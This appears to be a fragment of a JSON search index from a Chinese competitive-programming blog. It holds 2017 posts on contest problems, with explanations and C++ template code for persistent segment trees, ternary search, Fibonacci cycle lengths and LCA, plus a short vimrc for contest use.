","date":"2017-10-24","externalUrl":null,"permalink":"/2017/10/codeforces-440-div2-e/","section":"Posts","summary":"题目链接 题意：有n个整点，每个点处可以什么都不画，或者画一条垂直方向的直线，或者画一条水平方向的直线。","tags":["思维题","计数问题"],"title":"codeforces # 440 div2  E. Points, Lines and Ready-made Titles (和图有关的计数，思维题)","type":"post"},{"categories":["ACM"],"content":"弄了点比较短的，赛场上用的配置文件orz 1map \u003cF5\u003e :call Co()\u003cCR\u003e 2func! Co() 3 exec \"w\" 4 exec \"!g++ % -std=gnu++11 -Wall -o %\u003c\" 5 exec \"! ./%\u003c\" 6 7endfunc 8syntax on 9set nu 10 11autocmd BufNewFile *.cpp exec \":call SetTitle()\" 12func SetTitle() 13 let l = 0 14 let l = l + 1 | call setline(l,'#include \u003cbits/stdc++.h\u003e') 15 let l = l + 1 | call setline(l,'using namespace std;') 16 let l = l + 1 | call setline(l,'const int inf = 0x3f3f3f3f;') 17 let l = l + 1 | call setline(l,'#define ms(a,x) memset(a,x,sizeof(a))') 18 let l = l + 1 | call setline(l,'typedef long long LL;') 19 let l = l + 1 | call setline(l,'int main()') 20 let l = l + 1 | call setline(l,'{') 21 let l = l + 1 | call setline(l,' return 0;') 22 let l = l + 1 | call setline(l,'}') 23endfunc 故地重游，rp++","date":"2017-10-21","externalUrl":null,"permalink":"/2017/10/vimrc-for-acm-icpc/","section":"Posts","summary":"弄了点比较短的，赛场上用的配置文件orz 1map \u003cF5\u003e :call Co()\u003cCR\u003e 2func! Co() 3 exec \"w\" 4 exec \"!g++ % -std=gnu++11 -Wall -o %\u003c\" 5 exec \"! ./%\u003c\" 6 7endfunc 8syntax on 9set nu 10 11autocmd BufNewFile *.cpp exec \":call SetTitle()\" 12func SetTitle() 13 let l = 0 14 let l = l + 1 | call setline(l,'#include \u003cbits/stdc++.h\u003e') 15 let l = l + 1 | call setline(l,'using namespace std;') 16 let l = l + 1 | call setline(l,'const int inf = 0x3f3f3f3f;') 17 let l = l + 1 | call setline(l,'#define ms(a,x) memset(a,x,sizeof(a))') 18 let l = l + 1 | call setline(l,'typedef long long LL;') 19 let l = l + 1 | call setline(l,'int main()') 20 let l = l + 1 | call setline(l,'{') 21 let l = l + 1 | call setline(l,' return 0;') 22 let l = l + 1 | call setline(l,'}') 23endfunc 故地重游，rp++","tags":["算法竞赛"],"title":"vimrc for ACM-ICPC (赛场用)","type":"post"},{"categories":["ACM"],"content":"**问题：**给定 ，满足 ，求 的循 环节长度。 原理见广义Fibonacci数列找循环节 这里只说做法 我们先写出递推式的特征式子 x^2 =ax + b,整理得到 x^2-ax-b=0求出 delta = a^2+4b 对于质因数小于等于delta的部分，我们选择暴力求循环节。 暴力求循环节的代码如下： 1int get_loop( LL p) //暴力得到不大于13的素数的循环节。 2{ 3 LL a,b,c; 4 a = 0 ; 5 b = 1 ; 6 for ( int i = 2; ; i++) 7 { 8 c = (a+3*b%p)%p; //此处为递推式 9 a = b; 10 b = c; 11 if (a==0\u0026\u0026b==1) return i-1; 12 } 13} 通常做法是先暴力求出来之后，写进一个表里。 通常不会有很多项。 对于质因数大于delta的部分，我们判断每个质因数是否是delta的二次剩余，如果是，枚举(prime-1)的因子,否则枚举2*(prime+1)的因子。 贴一个板子，需要注意如果是多个函数嵌套的形式，我们只需要从外向里，依次求循环节即可。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 31 Oct 2016 08:22:17 PM CST 4File Name :code/hdu/4291_2.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33struct Mat 34{ 35 LL mat[2][2]; 36 void clear() 37 { 38 ms(mat,0); 39 } 40}M,M1; 41Mat mul (Mat a,Mat b,LL mod) 42{ 43 Mat c; 44 c.clear(); 45 for ( int i = 0 ; i \u003c 2 ; i++) 46 for ( int j = 0 ; j \u003c 2 ; j++) 47 for ( int k = 0 ; k \u003c 2 ; k++) 48 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]%mod)%mod; 49 return c; 50} 51Mat mat_ksm(Mat a,LL b,LL mod) 52{ 53 Mat res; 54 res.clear(); 55 for ( int i = 0 ; i \u003c 2 ; i++) res.mat[i][i] = 1; 56 while (b\u003e0) 57 { 58 if (b\u00261) res = mul(res,a,mod); 59","date":"2017-10-18","externalUrl":null,"permalink":"/2017/10/look-for-loop-section-in-generalized-fibonacci-sequence/","section":"Posts","summary":"**问题：**给定 ，满足 ，求 的循 环节长度。 原理见广义Fibonacci数列找循环节 这里只说做法","tags":["二次剩余","循环节"],"title":"广义Fibonacci数列找循环节 （二次剩余）","type":"post"},{"categories":["ACM"],"content":"起因是16长春CCPC遇到了一个全场万人过的主席树题目，然而我不会orz，哭哭 可持久化线段树的本质是很多棵形态完全相同的线段树。 也可以理解成是，保存了不同时刻版本的线段树的数据结构。 如果没有可持久化线段树，那么我们如果需要不同时刻的线段树，无脑的做法可能是，需要多少个时刻的线段树，就建多少棵线段树。 但是空间绝对gg，我们考虑每次修改，其实对于一次修改，线段树上只有很少一部分被修改了，其他部分都一样。 因此，我们很容易想到，我们何不只考虑修改的部分，其他部分共用，以减少时间和空间消耗呢？ 1 * 可持久化线段树是利用函数式编程的思想，对记录的数据只赋值不修改，每次插入一个数据后保存一个历史版本，然后利用线段树的结构完全相同，可以直接相减的特性进行区间询问。 可持久化线段树有几个经典应用，比如求区间第k大 静态区间第k大 动态区间第k大 静态区间第k大的思想： 1 * 首先,给你一颗值为横坐标的线段树,每个节点上存着该值出现了多少次,这样的一颗线段树你会求区间k大值吧.二分即可. 2 * 然后,假设区间是数组arr[n],区间长度是n,那么给你n颗线段树,第i颗线段树是第i-1颗线段树插入arr[i]得到. 3 * 如果你有了这n颗线段树,想求区间[l,r]中的第k大值,那么你需要在第r颗和第l-1颗线段树的**差线段树**上作二分,就可以求得区间第k大值. 4 * 差线段树很好理解,比如你有一个部分和数组sum,sum[r]-sum[l-1]就是部分和的差,代表区间[l,r]的和,差线段树同理. 5 * 现在,可持久化线段树出现为你解决最后一个问题,空间问题.内存很小,不能够存下n颗线段树,但是,第2条中提到,由于第i颗线段是是第i-1颗线段是插入仅一个值得到的,两颗线段树的区别不大,仅有log(n)个节点发生了改变,我们仅仅需要记录这log(n)的数据就可以记录这个增量,这就是可持久化线段树. 以及求区间中不同数的个数 spoj-dquery 求区间中不同数的个数 思想其实和离线线段树是一样的。 在学习可持久化线段树的时候，遇到过一个叫\"权值线段树“的概念 其实并不是什么新东西，只不过是把值作为节点来考虑，参考逆序对的线段树|树状数组 求法…（由于是在值域上建立线段树，所以常常需要离散化） 这思想不是很常见么….感觉完全没必要安个名字…以及，怎么不给BIT也起个叫权值BIT啊orz 参考资料： 知乎-主席树是如何求区间k大的？ 可持久化数据结构之主席树","date":"2017-10-18","externalUrl":null,"permalink":"/2017/10/persistent-segment-tree-notes/","section":"Posts","summary":"起因是16长春CCPC遇到了一个全场万人过的主席树题目，然而我不会orz，哭哭","tags":["主席树","可持久化数据结构"],"title":"可持久化线段树学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给定一个序列 n，有 m次查询，每次查询一个区间[l,r]，求区间中每一种数在区间中第一次出现的位置的中位数，强制在线。 思路： # 先分解一下问题，我们要求一段区间位置的中位数，其实可以分解成，求区间中不同数的个数+求区间中第k大的下标。 对于求区间中不同数的个数，离线可以随便线段树，树状数组，或者莫队也行（观察到数据范围\u003c=2E5) 在线的话，就只能可持久化线段树了。 看到一些题解中说要倒序处理…但是之前写求区间不同数的个数，我都是倒序处理的啊？ （回想一下，当时似乎正序处理也行… 倒序处理是为了，处理到第i个的时候，第i个一定是当前后缀区间中，第一个出现的… 然后第二个问题，求区间中第k大的下标，离线做法不少，在线的话，也可以用可持久化线段树求。 所以感觉就是板子题，可持久化线段树的2个应用放在了一起orz 1#include \u003ccstdio\u003e 2#include \u003ccstring\u003e 3#include \u003calgorithm\u003e 4#include \u003cqueue\u003e 5#include \u003ciostream\u003e 6#include \u003cstring\u003e 7#include \u003ccmath\u003e 8#include \u003cvector\u003e 9#include \u003cset\u003e 10#include \u003cmap\u003e 11#include \u003cbitset\u003e 12#include \u003cstack\u003e 13using namespace std; 14 15#define MP make_pair 16#define PB push_back 17#define SZ(x) (int((x).size())) 18#define ALL(x) (x).begin(), (x).end() 19#define X first 20#define Y second 21 22typedef long long LL; 23typedef long double LD; 24const int INF = 0x3f3f3f3f; 25 26typedef pair\u003cLL, LL\u003e pii; 27 28const int N = 2e5 + 10; 29const int M = 30 * 2 * N; 30 31int ls[M], rs[M], root[N], tot, data[M]; 32inline int new_node(int lst = 0) { 33 ls[++ tot] = ls[lst]; 34 rs[tot] = rs[lst]; 35 data[tot] = data[lst]; 36 return tot; 37} 38void build(int l, int r, int \u0026rt) { 39 rt = new_node(); 40 if(l == r) return ; 41 int m = (l + r) \u003e\u003e 1; 42 build(l, m, ls[rt]); 43 build(m + 1, r, rs[rt]); 44} 45void update(int pos, int val, int lst, int l, int r, int \u0026rt) { 46 rt = new_node(lst); 47 data[rt] += val; 48 if(l == r) return ; 49 int m = (l + r) \u003e\u003e 1; 50 if(pos \u003c= m) update(pos, val, ls[lst], l, m, ls[rt]); 51 else update(pos, val, rs[lst], m + 1, r, rs[rt]); 52} 53int query(int L, int R, int l, int r, int rt) { 54 if(L \u003c= l \u0026\u0026 r \u003c= R) return data[rt]; 55 int m = (l + r) \u003e\u003e 1, ret = 0; 56 if(L \u003c= m) ret += query(L, R, l, m, ls[rt]); 57 if(R \u003e m) ret += query(L, R, m + 1, r, rs[rt]); 58 return ret","date":"2017-10-18","externalUrl":null,"permalink":"/2017/10/hdu-5919/","section":"Posts","summary":"题目链接 题意： # 给定一个序列 n，有 m次查询，每次查询一个区间[l,r]，求区间中每一种数在区间中第一次出现的位置的中位数，强制在线。","tags":["主席树","区间第k大","可持久化数据结构"],"title":"2016 CCPC 长春 I 题 | hdu 5919 Sequence II （可持久化线段树求区间第k大+可持久化线段树求区间不同数个数）","type":"post"},{"categories":["ACM"],"content":"Description # 给定一个含有n个数的序列a[1],a[2],a[3]……a[n]，程序必须回答这样的询问：对于给定的i,j,k，在a[i],a[i+1 ],a[i+2]……a[j]中第k小的数是多少(1≤k≤j-i+1)，并且，你可以改变一些a[i]的值，改变后，程序还能针对改 变后的a继续回答上面的问题。 Input # 第一行有两个正整数n(1≤n≤10000)，m(1≤m≤10000)。 分别表示序列的长度和指令的个数。 第二行有n个数，表示a[1],a[2]……a[n]，这些数都小于10^9。 接下来的m行描述每条指令 每行的格式是下面两种格式中的一种。 Q i j k 或者 C i t Q i j k （i,j,k是数字，1≤i≤j≤n, 1≤k≤j-i+1） 表示询问指令，询问a[i]，a[i+1]……a[j]中第k小的数。 C i t (1≤i≤n，0≤t≤10^9)表示把a[i]改变成为t m,n≤10000 Output # 对于每一次询问，你都需要输出他的答案，每一个输出占单独的一行。 Sample Input # 5 3 3 2 1 4 7 Q 1 4 3 C 2 6 Q 2 5 3 Sample Output # 3 6 思路： # 现在我们已经会了用可持久化线段树，去做静态区间第k大的问题。 考虑一次修改，修改的元素会影响后面所有建好的线段树，时间代价是无法承受的。 我们考虑root[i]表示的这颗线段树，它保存的是从第一个元素开始插入到第i个元素后的数字区间。也就是说每次我们进行线段树区间相减时，我们是对两个前缀和[1, l - 1]和[1, r]进行了相减。 所以我们需要的是，以一个可以接受的时间代价，维护一个前缀和。 显然是用BIT来维护。 所以带修改的可持久化线段树，本质上应该是BIT套可持久化线段树。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月16日 星期一 23时50分14秒 4File Name :1901.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N = 2E5+7; 35int n,m; 36int a[N],H[N]; 37int root[N]; 38int cnt,p[2]; 39int num; 40int prefix_l[100],prefix_r[100]; 41 42struct node 43{ 44 int a,b,c; 45 char opt[3]; 46}querys[N]; 47struct PTree 48{","date":"2017-10-16","externalUrl":null,"permalink":"/2017/10/bzoj-1901/","section":"Posts","summary":"Description # 给定一个含有n个数的序列a[1],a[2],a[3]……a[n]，程序必须回答这样的询问：对于给定的i,j,k，在a[i],a[i+1","tags":["主席树","区间第k大","可持久化数据结构"],"title":"bzoj 1901: Zju2112 Dynamic Rankings (可持久化线段树，区间动态第k大)","type":"post"},{"categories":["ACM"],"content":"题意： # 求区间第k大数 思路： # 可持久化线段树。 其实这东西在国内更常见的名字应该是 zhu xi 树？应该是由于“中国高端数据结构领导者”的hjt比较早得引入（？推广？）而得来的。 不过之前没写什么东西都被封，写个zhu xi 树，怕是政治敏感够枪毙100回了orz 似乎也叫函数式线段树。 写个模板题练下手。学习笔记之后补。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月16日 星期一 21时51分55秒 4File Name :2104.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int a[N],H[N]; 36int cnt; 37int Hash( int x){ return lower_bound(H,H+cnt,x)-H;} 38int n,m; 39int tot;//线段树的总数。 40int root[N];//每个元素对应的根节点 41struct PTree 42{ 43 int sum,left,right; 44}tree[N*30]; 45inline int add_node( int _sum,int _left,int _right) 46{ 47 int idx = ++tot; 48 tree[idx].sum = _sum; 49 tree[idx].left = _left; 50 tree[idx].right = _right; 51 return idx; 52} 53void Insert( int \u0026root,int pre_rt,int pos,int l,int r) 54{ 55 root = add_node(tree[pre_rt].sum + 1,tree[pre_rt].left,tree[pre_rt].right); 56 //printf(\"l:%d r %d root:%d\\n\",l,r,root); 57 if (l==r) return; 58 int mid = (l+r)\u003e\u003e1; 59 if (pos\u003c=mid) 60 Insert(tree[root].left,tree[pre_rt].left,pos,l,mid); 61 else 62 Insert(tree[root].right,tree[pre_rt].right,pos,mid+1,r); 63} 64int Query( int L,int R,int l,int r,int k)//区间第k大 65{ 66 if","date":"2017-10-16","externalUrl":null,"permalink":"/2017/10/hdu-2665/","section":"Posts","summary":"题意： # 求区间第k大数","tags":["主席树","可持久化数据结构"],"title":"hdu 2665 Kth number  (静态区间第k大，可持久化线段树模板题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给定二维平面的n个点，要求一个面积最小的正方形，使其能覆盖所有的点。 思路： # 先考虑如果水平竖直地放置正方形（边和坐标轴平行）圈住所有点的最小正方形的边长是: L=max(xmax−xmin,ymax−ymin) 然后考虑如果正方形旋转的话，能圈住所有点的正方形边长是随着角度先减后增的，有凸性，可以三分。。。 但是枚举角度计算正方形的话比较麻烦，可以选择旋转平面上的点，使得正方形仍然是水平竖直放置的，因为这样计算正方形的边长比较方便。 如果把点表示成极坐标形式: x=r×cosθ,y=r×sinθ,，θ是极角 那么顺时针旋转 α 角度后： x′=r×cos(θ−α),y=r×sin(θ−α) 化简一下可得： x′=r×cosθ×cosα+r×sinθ×sinα=x×cosα+y×sinα y′=r×sinθ×cosα−r×cosθ×sinα=y×cosα−x×sinα 然后就是三分角度了。。。 三分的板子: 1double sanfen(double l,double r) 2{ 3 double mid,midmid; 4 while (r-l\u003eeps) 5 { 6 mid = (2*l+r)/3; 7 midmid = (l+2*r)/3; 8 if (cal(mid)\u003e=cal(midmid)) l = mid; //此处为求极小值 9 else r = midmid; 10 } 11 return cal(l); 12 13} 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35/* *********************************************** 36Author :111qqz 37Created Time :2017年10月15日 星期日 00时33分09秒 38File Name :3301.cpp 39************************************************ */ 40 41#include \u003ccstdio\u003e 42#include \u003ccstring\u003e 43#include \u003ciostream\u003e 44#include \u003calgorithm\u003e 45#include \u003cvector\u003e 46#include \u003cqueue\u003e 47#include \u003cset\u003e 48#include \u003cmap\u003e 49#include \u003cstring\u003e 50#include \u003ccmath\u003e 51#include \u003ccstdlib\u003e 52#include \u003cctime\u003e 53#define PB push_back 54#define fst first 55#define sec second 56#define lson l,m,rt\u003c\u003c1 57#define rson m+1,r,rt\u003c\u003c1|1 58#define ms(a,x) memset(a,x,sizeof(a)) 59typedef long long LL; 60#define pi pair \u003c int ,int \u003e 61#define MP make_pair 62 63using namespace std; 64const double eps = 1E-8; 65const int dx4[4]={1,0,0,-1}; 66const int dy4[4]={0,-1,1,0}; 67const int inf = 0x3f3f3f3f; 68const int N=50; 69const double PI = acos(-1.0); 70int n; 71struct point 72{ 73 int x,y; 74 void input() 75 { 76 scanf(\"%d %d\",\u0026x,\u0026y); 77 } 78}p[N]; 79 80 81double cal( double ang) 82{ 83 double minx=1000,miny=1000,maxx=-1000,maxy=-1000; 84 for ( int i = 1 ; i \u003c= n ; i++) 85 { 86 doub","date":"2017-10-14","externalUrl":null,"permalink":"/2017/10/poj-3301/","section":"Posts","summary":"题目链接 题意： # 给定二维平面的n个点，要求一个面积最小的正方形，使其能覆盖所有的点。","tags":["三分"],"title":"poj 3301 Texas Trip (三分，模板题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 有n个点，表示n个圆的圆心，问一组圆的半径，满足相邻(i,i+1)或者(n,1) 圆相外切。 思路： # 我们发现确定第一个半径之后，其他的圆的半径似乎能解出来？ 然后发现，其实只有n为奇数的时候能解出来，n为偶数不行。 那么我们可以奇数偶数分别处理。 对于奇数，直接解出来。式子不写了，很好推。 对于偶数，我们发现，最后会是一个关于r1的二次表达式。 一眼三分。然后训练的时候我就直接三分了。。？？？ 三分的过程中判断一下是否所有圆的半径都满足实际意义。。。 然而这是错得，而且错得很显然。因为。。如果不满足实际意义，是根本没办法判断，该往哪个方向继续三分的。 然而这是错得，而且错得很显然。因为。。如果不满足实际意义，是根本没办法判断，该往哪个方向继续三分的。 然而这是错得，而且错得很显然。因为。。如果不满足实际意义，是根本没办法判断，该往哪个方向继续三分的。 正确的做法是，三分之前一定先确定定义域范围，在定义域内三分。 正确的做法是，三分之前一定先确定定义域范围，在定义域内三分。 正确的做法是，三分之前一定先确定定义域范围，在定义域内三分。 所以我们先解一个不等式组，把三分的范围解出来之后再进行三分orz 我对三分一无所知… 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月14日 星期六 16时08分51秒 4File Name :E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-10; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E4+7; 35const double PI = acos(-1.0); 36struct point 37{ 38 double x,y; 39 void input() 40 { 41 scanf(\"%lf %lf\",\u0026x,\u0026y); 42 } 43 44 double dis (point b) 45 { 46 double ret; 47 ret = (x-b.x)*(x-b.x) + (y-b.y) * (y-b.y); 48 return sqrt(ret); 49 } 50}p[N]; 51int n; 52double a[N]; 53int dblcmp( double d) { return d\u003c-eps?-1:d\u003eeps; } 54bool checkR( double R,int id) 55{ 56 if (dblcmp(R)\u003c0||dblcmp(R-a[id])\u003e0) return false; 57 //if (dblcmp(R)\u003c0) return false; 5","date":"2017-10-14","externalUrl":null,"permalink":"/2017/10/hdu-5531/","section":"Posts","summary":"题目链接 题意： # 有n个点，表示n个圆的圆心，问一组圆的半径，满足相邻(i,i+1)或者(n,1) 圆相外切。","tags":["三分"],"title":"hdu 5531 | 2015 ICPC  长春 regional onsite Rebuild (三分)","type":"post"},{"categories":["ACM"],"content":"题意： # 给定一个 N∗N(N≤4e9) 的矩阵，现在经过这样一个变换：将 (x,y) 变为 ((x+y)%N,(x+2×y)%N)(0≤x\u003cN,0≤y\u003cN) 现在求经过多少次这样的变换之后在回到 N∗N 的原始矩阵。 思路： # 在模n的剩余系下可以写成(fib(n)x+fib(n+1)y,fib(n+1)x+fib(n+2)y)的形式fib(n)表示Fibonacci数列的第n项 所以就成了斐波那契数列循环节。。经典题。注意会爆long long,要用ULL 又写了遍板子，去年的东西都忘得差不多了orz 1/* *********************************************** 2Author :111qqz 3File Name :code/hdu/4794.cpp 4************************************************ */ 5 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef unsigned long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32struct Mat 33{ 34 LL mat[2][2]; 35 void clear() 36 { 37 ms(mat,0); 38 } 39 void pr() 40 { 41 for ( int i = 0 ; i \u003c 2 ; i++) 42 for ( int j = 0 ; j \u003c 2 ; j++) 43 printf(\"%lld%c\",mat[i][j],j==1?'\\n':' '); 44 } 45}M,M1; 46const Mat P = {1,1,1,0}; 47Mat mul (Mat a,Mat b,LL mod) 48{ 49 Mat c; 50 c.clear(); 51 for ( int i = 0 ; i \u003c 2 ; i++) 52 for ( int j = 0 ; j \u003c 2 ; j++) 53 for ( int k = 0 ; k \u003c 2 ; k++) 54 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]%mod)%mod; 55 return c; 56} 57Mat mat_ksm(Mat a,LL b,LL mod) 58{ 59 Mat res; 60 res.clear(); 61 for ( int i = 0 ; i \u003c 2 ; i++) res.mat[i][i] = 1; 62 while (b\u003e0) 63 { 64 if (b\u00261) res = mul(res,a,mod); 65 b = b \u003e\u003e 1LL; 66 a = mul(a,a,mod); 67 } 68 return res; 69} 70LL gcd(LL a,LL b) 71{ 72 return b?gcd(b,a%b):a; 73} 74const ","date":"2017-10-13","externalUrl":null,"permalink":"/2017/10/hdu-4794/","section":"Posts","summary":"题意： # 给定一个 N∗N(N≤4e9) 的矩阵，现在经过这样一个变换：将 (x,y) 变为 ((x+y)%N,(x+2×y)%N)(0≤x\u003cN,0≤y\u003cN) 现在求经过多少次这样的变换之后在回到 N∗N 的原始矩阵。","tags":["二次剩余","斐波那契"],"title":"hdu 4794 Arnold (二次剩余，斐波那契循环节)","type":"post"},{"categories":["ACM"],"content":"题意： 有一棵树，水源在根节点1，房子在叶子节点。有若干操作，操作可能是歹徒占领或者离开一个房子。我们不想给歹徒供水，可以通过切断边实现（如果某个叶子节点到根节点的路径上有一条边被切掉，那么就不能供水了。）对于每次操作后，问不给所有歹徒供水最少要切多少条边，并且问在切满足前面最小的情况下，最少使得多少个良民受影响。初始没有歹徒。 思路： 我们先考虑第一个问题。容易知道，假设与根相连的有k条边，那么最多只需要切k次，就切断了所有房子的水源。 也就是说，从最少切的次数角度的考虑，切与水源相连的边一定是最优的。 我们可以考虑把树根1去掉，这样得到k棵子树 然后可以预处理出，对于每个叶子节点，其非根的最远祖先是谁，也就是k棵子树的根节点都是谁。 那么对于每次出现歹徒，假设其非根的最远祖先是x,只需要切1-x这条边即可。 现在考虑第二个问题，在保证问题一最小的情况下，一个比较直观的想法是，我们尽量往低了切，也就是尽量往原理根的边上切，这样才能使收到影响的良民比较少。 容易想到，一个子树上该切的点是，所有被歹徒占领的坏点的LCA。这样可以使得受到影响的良民最少。 因为我们要得到受到影响的良民的数量，所以用siz[i]维护以i为根的子树的叶子数量，以及歹徒的数量。 这道题的关键结论是，：树上多个点的LCA，就是DFS序最小的和DFS序最大的这两个点的LCA\" 这道题的关键结论是，：树上多个点的LCA，就是DFS序最小的和DFS序最大的这两个点的LCA\" 这道题的关键结论是，：树上多个点的LCA，就是DFS序最小的和DFS序最大的这两个点的LCA\" 因此这题就是写个LCA就可以了，切掉的坏点的dfs序可以用个set维护下。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月12日 星期四 17时06分57秒 4File Name :G.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n,q; 36int val[N]; 37vector \u003c int \u003e edge[N]; 38int in[N]; 39int E[2*N],R[2*N],dis[N],depth[2*N]; 40int p; 41int fa[N]; 42int dp[2*N][20]; 43int siz[N]; //siz[i]表示以i为根的子树的叶子数量。 44int FA[N]; //将树根去掉之后，每棵子树最上面能到达的顶点。 45set\u003cint\u003eT[N];//T[i]表示与根节点直接连接的节点i 切掉的点的dfs序","date":"2017-10-12","externalUrl":null,"permalink":"/2017/10/2016-NEERC-subregional-G/","section":"Posts","summary":"题意： 有一棵树，水源在根节点1，房子在叶子节点。有若干操作，操作可能是歹徒占领或者离开一个房子。我们不想给歹徒供水，可以通过切断边实现（如果某个叶子节点到根节点的路径上有一条边被切掉，那么就不能供水了。）对于每次操作后，问不给所有歹徒供水最少要切多少条边，并且问在切满足前面最小的情况下，最少使得多少个良民受影响。初始没有歹徒。","tags":["LCA"],"title":"2016-2017 ACM-ICPC, NEERC, Northern Subregional Contest  G Gangsters in Central City  (LCA)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 在一个二维平面上，有n个加热设备，每个加热设备加热一个圆形，加热设备需要信号源才可以工作，信号源在原点上，但是高度不确定。假设设备的加热半径是一个与{信号源与设备的距离}有关的表达式。现在想要满足，至少有k个加热设备加热的面积大于s，问信号源的最高高度是多少。 思路： # 训练的时候一眼二分，但是求圆并的时候gg了。。毫无思路。 搞定了多个圆面积并。。这题就很easy了。。 需要注意，每次二分的时候，记得初始化圆的d… 1/* *********************************************** 2Author :111qqz 3File Name :H.cpp 4************************************************ */ 5 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define PB push_back 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27typedef long long LL; 28typedef unsigned long long 